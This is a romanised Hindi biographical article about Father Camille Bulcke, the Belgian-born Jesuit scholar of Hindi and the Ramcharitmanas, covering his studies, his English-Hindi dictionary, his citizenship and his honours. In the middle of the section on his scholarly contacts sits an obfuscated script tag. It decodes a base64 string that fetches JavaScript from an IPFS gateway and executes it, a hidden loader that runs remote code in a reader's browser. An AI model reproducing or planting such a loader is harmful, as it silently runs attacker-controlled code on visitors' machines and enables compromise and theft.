कामिल बुल्के
kamil bulke
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| poora nam | fadar kamil bulke |
| janm | 1 sitambar, 1909 |
| janm bhoomi | beljiyam |
| mrityu | 17 agast, 1982 |
| mrityu sthan | dilli |
| karm bhoomi | bharat |
| karm-kshetr | hindi sahityakar tatha lekhak |
| mukhy rachanaean | 'ramakatha : utpatti aur vikas', 'aangrezi-hindi shabdakosh', 'muktidata', 'naya vidhan', 'hindi-aangrezi laghukosh', 'baibil' (hindi anuvad) adi. |
| vidyalay | kalakatta vishvavidyalay, ilahabad vishvavidyalay, yooven vishvavidyalay, yoorop |
| shiksha | ianjiniyariang, em. e., bi.e. |
| puraskar-upadhi | padm bhooshan |
| vishesh | fadar kamil bulke d aau. dhirendr varma ko apana prerana srot manate the. mahadevi varma ko ve ‘didi’ aur ilahabad ke logoan ko ve ‘mayake vale’ kahate the. |
| any janakari | 1951 mean bharat sarakar ne fadar bulke ko b de hi adar ke sath bharat ki nagarikata pradan ki thi. ve hindi ko rashtrabhasha ke roop mean pracharit karane vali samiti ke sadasy bane. bharat ke nagarik banane ke bad vah svayan ko 'bihari' kahakar bulate the. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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fadar kamil bulke (aangrezi: Camille Bulcke janm: 1 sitambar, 1909; mrityu: 17 agast, 1982) beljiyam se bharat akar mrityuparyant hindi, tulasidas aur valmiki ke bhakt rahe. unhean sahity evan shiksha ke kshetr mean bharat sarakar dvara sanh 1974 mean padm bhooshan se sammanit kiya gaya tha. fadar kamil bulke ka janm 1 sitambar 1909 ko beljiyam ki phlaiandars stet ke 'ramsakapaile' gaanv mean hua tha. 'yooven vishvavidyalay' se abhiyaantriki ki shiksha samapt karane ke bad vah 1935 mean bharat ae. sabase pahale unhoanne bharat ka bhraman kiya aur bharat ko achchhi prakar se samajha. kuchh samay ke lie vah darjiliang mean bhi rahe aur usake bad raanchi aur usake bad jharakhand ke gumala zile ke 'ignasiyas vidyalay' mean ganit vishay ka adhyapan karane lage. yahian par unhoanne bharatiy bhashaean sikhani prarambh kian aur unake man mean hindi bhasha sikhane ki lalak paida ho gee, jisake lie vah bad mean prasiddh hue. unhoanne likha hai-
'maian jab 1935 mean bharat aya to achanbhit aur du:khi hua. maianne mahasoos kiya ki yahaan par bahut se padhe-likhe log bhi apani saanskritik paranparaoan ke prati jagarook nahian haian. yah bhi dekha ki log aangareji bolakar garv ka anubhav karate haian. tab maianne nishchay kiya ki am logoan ki is bhasha mean maharat hasil karooanga.'
parichay
fadar kamil bulke ka janm 1 sitambar, 1909 ko beljiyam ke pashchimi phlaiandars stet ke ramsakapaile namak gaanv mean hua tha. unake pas sivil ianjiniyariang mean bi.es.si digri thi, jo unhoanne lovain vishvavidyalay se prapt ki thi. 1934 mean unhoanne bharat ka sankshipt daura kiya aur kuchh samay darjiliang mean ruke. unhoanne gumala (vartaman mean jharakhand mean) mean 5 varshoan tak ganit ka adhyapan kiya. yahian par unake man mean hindi bhasha sikhane ki lalak paida ho gee, jisake lie ve bad mean prasiddh hue. unhoanne likha hai- "maian jab 1935 mean bharat aya to achanbhit aur du:khi hua. maianne mahasoos kiya ki yahaan par bahut se padhe-likhe log bhi apani saanskritik paranparaoan ke prati jagarook nahian haian. yah bhi dekha ki log aangrezi bolakar garv ka anubhav karate haian. tab maianne nishchay kiya ki am logoan ki is bhasha mean maharat hasil karooanga."[1]
nam ka arth
'kamil' shabd ke do arth mane jate haian. ek arth hai- 'vedi-sevak' aur doosara arth hai- 'ek pushp ka nam.' fadar kamil bulke donoan hi arthoan ko charitarth karate the. ve jesuit sangh mean dikshit sannyasi ke roop mean 'vedi-sannyasi' the aur ek vyakti ke roop mean mahakate hue pushp. aise pushp, jisaki upasthiti sabhi ke manoan ko khushaboo se bhar deti hai. malik muhammad jayasi ne 'padmavat' mean likha hai- "phool marai par marai n basoo." yah pankti fadar kamil bulke par poori tarah satik baithati hai.[2]
hindi jnan
fadar kamil bulke ne pandit badaridatt shastri se hindi aur sanskrit ki shiksha prapt ki aur 1940 mean 'visharad' ki pariksha 'hindi sahity sammelan', prayag se uttirn ki. unhoanne kalakatta vishvavidyalay se sanskrit mean mastars digri hasil ki (1942-1944) thi. kamil bulke ne 1945-1949 mean ilahabad vishvavidyalay se hindi sahity mean shodh kiya, unaka shodh vishay tha- 'ramakatha ka vikas'. 1949 mean hi vah 'seant jeviyars k aaulej', raanchi mean hindi v sanskrit vibhag ke vibhagadhyaksh niyukt kie ge. san 1951 mean unhoanne bharat ki nagarikata grahan ki. kamil bulke san 1950 mean 'bihar rashtrabhasha parishad' ki karyakarini ke sadasy chune ge. vah san 1972 se 1977 tak bharat sarakar ki 'kendriy hindi samiti' ke sadasy rahe.
preranasrot 'd aau. dhirendr varma'
kamil bulke lanbe samay tak raanchi ke seant jeviyars k aaulej mean sanskrit tatha hindi ke vibhagadhyaksh rahe the, lekin bad mean baharepan ke karan k aaulej mean padhane se adhik unaki ruchi gahan adhyayan aur svadhyay mean hoti chali gee. bulke ka apane samay ke hindi bhasha ke sabhi choti ke vidvanoan se sanpark tha.
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"fadar bulke tulasi ke adhikadhik samip pahuanchane ke lie jivan bhar prayatnashil rahe. k aaulej manch par bhashan dete hue unhoanne kaha tha- "sanskrit rajamata hai, hindi bahoorani hai aur aangrezi naukarani hai. par naukarani ke bina bhi kam nahian chalata."
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>d aau. dharmavir bharati, d aau. jagadish gupt, d aau. ramasvaroop, d aau. raghuvansh, mahadevi varma adi se unaka vichar-vimarsh aur sanvad hota rahata tha. d aau. dhirendr varma ko apana prerana srot manate hue ve apani atmakatha 'ek isaee ki astha, hiandi-prem aur tulasi-bhakti 2' mean likhate haian- "san 1945 mean d aau. dhirendr varma ki prerana se maianne em.e. ke bad ilahabad se d aau. mata prasad ke nirikshan mean shodh kary kiya." ilahabad ke pravas ko ve apane jivan ka ‘dvitiy basant’ kahate the. mahadevi varma ko ve ‘didi’ aur ilahabad ke logoan ko ve ‘mayake vale’ kahate the. bulke ji apane samay ke prati sajag evan sachet the. bharat aur bharatiyata (bharat ki svasth paranparaoan) ke anany bhakt kamil bulke, bauddhik aur adhyatmik hone ke sath-sath eesa ke param bhakt the. sath hi gosvami tulasidas ki ramabhakti ke satvik aur adhyatmik ayam ke prati unake man mean bahut adar tha. unaka kahana tha[3]-
"jab maian apane jivan par vichar karata hooan, to mujhe lagata hai eesa, hindi aur tulasidas- ye vastav mean meri sadhana ke tin pramukh ghatak haian aur mere lie in tin tatvoan mean koee virodh nahian hai, balki gahara sanbandh hai… jahaan tak vidya tatha astha ke parasparik sanbandh ka prashn hai, to maian un tinoan mean koee virodh nahian pata. maian to samajhata hooan ki bhautikatavad, manav jivan ki samasya ka hal karane mean asamarth hai. maian yah bhi manata hooan ki ‘dharmik vishvas’ tark-vitark ka vishay nahian hai."
kamil bulke aur 'ramacharitamanas'
dharmik granthoan ka adhyayan ke lie bulke ke pas darshan ka jnan tha. vah bharatiy darshan aur sahity ka vyavasthit roop se adhyayan karana chahate the. unhoanne tulasidas ke granth ramacharit manas ko padha. vah ramacharit manas se vah bahut prabhavit hue aur unhoanne ramacharit manas ka gahan adhyayan kiya. ramacharit manas mean unhean naitikata aur vyavaharikata ka akarshak samanvay mila. at: unhoanne apane shodh ka vishay 'ramakatha: utpatti aur vikas' chuna. is vishay par unhoanne ilahabad vishvavidyalay se 'd aauktaret' ki upadhi prapt ki. unaka yah kary bharat ke sath hi vishv mean prakashit hua aur isake bad poora vishv bulke ko janane laga.
- upalabdhi
bulke ke dvara prastut shodh ki visheshata thi ki yah moolatah hindi mean prastut kiya gaya pahala shodh prabandh hai. fadar bulke jis samay ilahabad mean shodh kar rahe the, us samay sabhi vishayoan mean shodh prabandh keval aangrezi bhasha mean hi prastut kie jate the. fadar bulke ne agrah kiya ki unhean hindi mean shodh prabandh prastut karane ki anumati di jae. isake lie shodh sanbandhi niyamavali mean parivartan kiya gaya.
- bhasha jnan
bulke bahu-bhashavidh the. vah apani matribhasha 'phlemish' ke atirikt aangrezi, phreanch, jarman, laitin, grik, sanskrit aur hindi par bhi sanpoorn adhikar rakhate the.
bharat ki nagarikata
1951 mean bharat sarakar ne fadar bulke ko b de hi adar ke sath bharat ki nagarikata pradan ki. vah hindi ko rashtrabhasha ke roop mean pracharit karane vali samiti ke sadasy bane. bharat ke nagarik banane ke bad vah svayan ko 'bihari' kahakar bulate the.
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hindi sahityanuragi
gajeandr narayan sianh jo ki fadar kamil bulke ke chhatr rahe, ve batate haian ki- "maian sant jeviyars k aaulej mean dakhil hua tha to ek din samay nikalakar fadar bulke se milane gaya. unake kamare ke band daravaze par dastak lagate hue maianne kaha- 'mean aee kam in fadar.' mere itana kahate hi daravaza khula aur ek atyant hi shaant, saumy, sadhu purush gardan par bhagalapuri silk ki chadar lapete hue kh da tha. unhoanne dhire se gambhir svar mean kaha- "abhi daravaze par dastak lagate hue apane kisi bhasha ka vyavahar kiya? kya apaki apani koee boli ya bhasha nahian hai? ap svatantr rashtr ke nagarik haian, phir bhi videshi aangl bhasha ka vyavahar hindi ke ek pradhyapak ke pas kyoan kar rahe haian? apaki matribhasha kya hai?" prashnoan ki jh di laga di unhoanne. maian avak stambh kh da raha. unhoanne mujhase poochha ki- "apaki matribhasha kya hai?" mere dvara bataye jane par ki maithali hai, to unhoanne mujhase nirvikar bhav se kaha- "aianda jab ap mere pas aean to maithali ya hindi maian hi bat kareange, aangrezi mean kadapi nahian." hindi ke prati samarpit aise sahityaanuragi bahubhashavid us videshi sant pradhyapak ki or nirnimesh mean takata hi yah gaya.
apane hindivid hone ke karan d aau. bulke ko desh-videsh mean bahut samman prapt tha. 1950 se hi ve 'bihar rashtrasabha parishad' ki karyakarini ke sadasy the. ve 1972 se hi bharat sarakar ki 'keandriy hindi samiti' ke bhi sadasy the. unhean 1973 mean beljiyam ki 'r aauyal akadami' ka sadasy banaya gaya tha. unake ‘ramakatha’ hindi vishay ki upadhi ke liye hindi mean likhit pratham shodh prabandh ki bhasha ke madhyam ke roop mean hindi ko pahali bar pratishthit karane ka shrey unaka hai. isake lie unhean bahut sangharsh karana p da tha. svargiy kaka kalelakar ne ek bar kaha tha- "fadar bulke tulasi ke adhikadhik samip pahuanchane ke lie jivan bhar prayatnashil rahe." k aaulej manch par bhashan dete hue unhoanne kaha tha- sanskrit rajamata hai, hindi bahoorani hai aur agrezi naukarani hai. par naukarani ke bina bhi kam nahian chalata.
apane dharm ke prati astha
ek bar kisi k aaulej mean ayojit 'tulasi jayanti' par kamil bulke amantrit the. svagatakarta ne apane svagat bhashan mean kaha ki- "d aau. bulke ram ke anany bhakt haian." is par pratikar karate hue unhoanne kaha ki- "maian to kaitholik eesaee padari hooan. mere lie ram eeshvar roop nahian ho sakate. mere liye to vandaniy keval eesa masih haian." apane mazahab aur usake prati atoot astha kamil bulke mean thi. bavajood is roodhi aur kattarata ke ve 'tulasi sahity' ke prashansak aur ‘manas’ ke anuragi the. ve aksar kahate the ki- "gosvami tulasidas vishv ke mahanh kaviyoan mean the aur unaki rachanaoan mean jnan ka akshay bhandar chhipa hai."[2]
'padmabhooshan' samman
kamil bulke ki hindi sevaoan ke liye 1974 mean bharat sarakar ne unhean 'padmabhooshan' ki upadhi di. us samay fadar aksar kahate the- "is upadhi ke bad bahut-sa samay logoan ke sath chala jata hai." ve ek pal bhi bekar ganvana pasand nahian karate the. fadar hindi ke itane sabal pakshadhar the ki samany batachit mean bhi agrezi shabd ka prayog unhean pasand nahian tha. unhean is bat ka du:kh tha ki hindi vale apani hindi ka samman nahian karate. unaka vichar tha- "duniya bhar mean shayad hi koee aisi vikasit sahity bhasha ho jo hindi ki saralata ki barabari kar sake." unhean is bat ka dard tha ki hindibhashi aur hindi sansthaean hindi ko kha ge. jab bhi koee unase aangrezi mean bolata tha, ve poochh lete the- "kya tum hindi nahian janate?"
rachanaean
bulke ne baibil ka hindi anuvad bhi kiya. m aauris metaraliank ke prasiddh natak 'd bloo bard' ka nil panchhi nam se bulke ne anuvad kiya. unaki chhoti-b di kul milakar unhoanne qarib 29 kitabean likhian. unaki pramukh kritiyaan haian -
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d aau. dhirendr varma ko apana prerana srot manate hue kamil bulke apani atmakatha 'ek isaee ki astha, hiandi-prem aur tulasi-bhakti 2' mean likhate haian- "san 1945 mean d aau. dhirendr varma ki prerana se maianne em.e. ke bad ilahabad se d aau. mata prasad ke nirikshan mean shodh kary kiya." ilahabad ke pravas ko bulke apane jivan ka ‘dvitiy basant’ kahate the. mahadevi varma ko ve ‘didi’ aur ilahabad ke logoan ko ve ‘mayake vale’ kahate the.
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- ramakatha : utpatti aur vikas
- aangreji-hindi shabdakosh
- muktidata
- naya vidhan
- hindi-aangrezi laghukosh
- ramakatha
- nilapanchhi
- baibil (hindi anuvad)
- d hindi saltar
- sant lukas ke anushar yeshu khrist ka pavitr susamachar
unake dvara taiyar kiya 'aangreji-hindi shabdakosh' aj bhi pramanikata aur upayogita ki drishti se sarvashreshth mana jata hai. kamil bulke ke shodhagranth ke uddharanoan ne pahali bar sabit kiya ki ramakatha keval bharat hi nahian, aantararashtriy katha hai. isi prasang mean fadar bulke apane ek mitr halaiand ke d aau. hoyakas ka vivaran dete hue kahate haian ki- "ve sanskrit aur iandoneshiyaee bhashaoan ke vidvanh the.
- hindi-aangrezi shabdakosh
bulke ajivan hindi ki seva mean lage rahe. hindi-aangareji shabdakosh ke nirman ke lie ve satat prayatnashil rahe. varsh 1968 mean aangreji hindi kosh prakashit hua jo aj bhi sabase pramanik shabdakosh mana jata hai. unhoanne isamean 40 hazar shabd jo de aur ise ajivan adyatan bhi karate rahe. kamil bulke ka aangrezi-hindi shabdakosh aur baibil ka hindi anuvad 'naya vidhan', hindi ke mahatv aur usaki samarthy ko siddh karane ke hi upakram haian. unake 'aangrezi-hindi shabdakosh' ne aangrezi ke sthan par hindi ke prayog ki rah ko sugam banaya hai.
kathan
fadar bulke ne kaha -
'1938 mean maianne hindi ke adhyayan ke dauran ramacharit manas tatha vinay patrika ka parishilan kiya. is adhyayan ke dauran ramacharit manas ki ye panktiyaan padhakar atyant aannad ka anubhav hua-
dhany janamu jagatital tasoo.
pitahi pramod charit suni jasoo॥
chari padarath karatal take.
priy pitu-matu pran sam jake.
dilli vishvavidyalay mean hindi vibhag ke poorv adhyaksh profesar nityanand tivari kahate haian-
'fadar kamil bulke aur maianne ilahabad vishvavidyalay mean hindi ke pradhyapak d aauktar mata prasad gupt ke nirdeshan mean apana shodh kary poora kiya tha. maianne unamean hindi ke prati hindi valoan se kahian zyada gahara prem dekha. aisa prem jo bharatiy j doan se ju d kar hi sanbhav hai. unhoanne ramakatha aur ramacharit manas ko bauddhik jivan diya.'
ramakatha marmajn
fadar kamil bulke ka doosara jag-vikhyat pahaloo hai ki ve hindi ke vidvan, ramakatha ke marmajn v videsh mean janme bharatiy the. unhoanne ilahabad vishvavidyalay se 'ramakatha utpatti aur vikas' par 1950 mean pi.ech.di. ki. is shodh mean sanskrit, pali, prakrit, apabhransh, hindi, bangala, tamil adi samast prachin aur adhunik bharatiy bhashaoan mean upalabdh ram vishayak vipul sahity ka hi nahian, varanh tibbati, barmi, sianghal, iandoneshiyaee, malay, thaee adi eshiyaee bhashaoan ke samast ram sahity ki samagri ka bhi is katha ke adhyayan ke vikas ki drishti se atyant vaijnanik riti se upayog hua hai. tulasidas unhean utane hi priy the, jitane apani matribhasha phlemish ke mahakavi gajaile ya aangrezi ke mahakavi shekyapiyar. ve pray: kaha karate the- "hindi mean sab kuchh kaha ja sakata hai." is bat ki pushti karane ke lie unhoanne sabase pahale darshan, dharmashastr adi vishayoan ki paribhashik shabdavali ka ek laghukosh 'e taiknikal iangalish hindi glausari' ke nam se prakashit kiya. isake bad 'aangrezi-hindikosh' ko 1967 mean taiyar kiya aur isaka khoob svagat hua.[2]
d aau. fadar bulke shodh sasthan
ilahabad ko apana 'mayaka' manane aur kahane vale fadar bulke sachamuch hi ganga-yamuna-sarasvati ke sangam-tirth the. unake pustakalay ke dvar sabhi ke lie sadaiv khule rahate the. unaka pustkalay us samay bahut 'amir' mana jata tha. 'amir' is roop mean ki usamean asankhy kitabean thian, jinhean fadar bulke svayan apane kharche par mangaya karate the. aj bhi un pustakoan ka labh raanchi ke log utha rahe haian. manaresa haus, jo ab 'd aau. fadar bulke shodh sasthan' ke roop mean jana jata hai, vahaan baithakar n jane kitane vidyarthi adhyayan karate rahate haian.
param vinodi svabhav
fadar kamil bulke param vinodi the. apane vinodi svabhav ke karan ve jivan ka, mitroan ka, sangat ka, parasparik mel-milap ka bharapoor anand lete the. ek bar kisi ne unase poochha- "fadar, apake sir ke bal kale aur dadhi ke safed kyoan haian?" to fadar kamil bulke ne pratyuttar mean kaha- "maian sir par kala aur dadhi par safed khijab lagata hooan." phir bole, "sir ke bal kale haian, kyoanki sir mean kuchh bhi nahian hai." fadar ko bachche bahut priy the. unake nishchhal balaroop mean unhean shayad kabhi mariyam ki god mean khelate-machalate eesa dikhaee dete hoange to kabhi dasharath ke aangan mean thumuk-thumuk chalate raghuvir, jinaki paujaniyaan baj rahi hai. 'thumuk chalat bajat paianjaniyaan.'[2]
mrityu
fadar kamil bulke ki mrityu gaiangrin ke karan 17 agast, 1982 ko dilli mean huee. dilli ke 'akhil bharatiy ayurvijnan sansthan' ke adhikariyoan ke asahayog poorn acharan aur garm mausam ke chalate fadar kamil bulke ke parthiv sharir ko raanchi lana asanbhav ho gaya to dilli sthit jesuit mathavasiy sathiyoan ne unhean dilli mean hi daphanane ka nirnay liya. kashmiri get sthit 'nikalsan semetri' mean aantim samadhi mean jane se poorv jab unaka taboot khola gaya to baba kamil bulke ke ju de hath hriday par the aur mukhamandal par chir-shaanti ki saumyata chhaee huee thi. mrityu unaki saumy chhavi ko mita n saki.
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tika tippani aur sandarbh
- ↑ hindi ke suyogy vidvanh fadar kamil bulke (hindi) vebaduniya. abhigaman tithi: 01 disambar, 2016.
- ↑ 2.0 2.1 2.2 2.3 2.4 kadambini, ech em vi el prakashan, sitambar-2013
- ↑ hiandimay the fadar kamil bulke (hiandi) pravasiduniya.com. abhigaman tithi: 01 disambar, 2016.
bahari k diyaan
sanbandhit lekh
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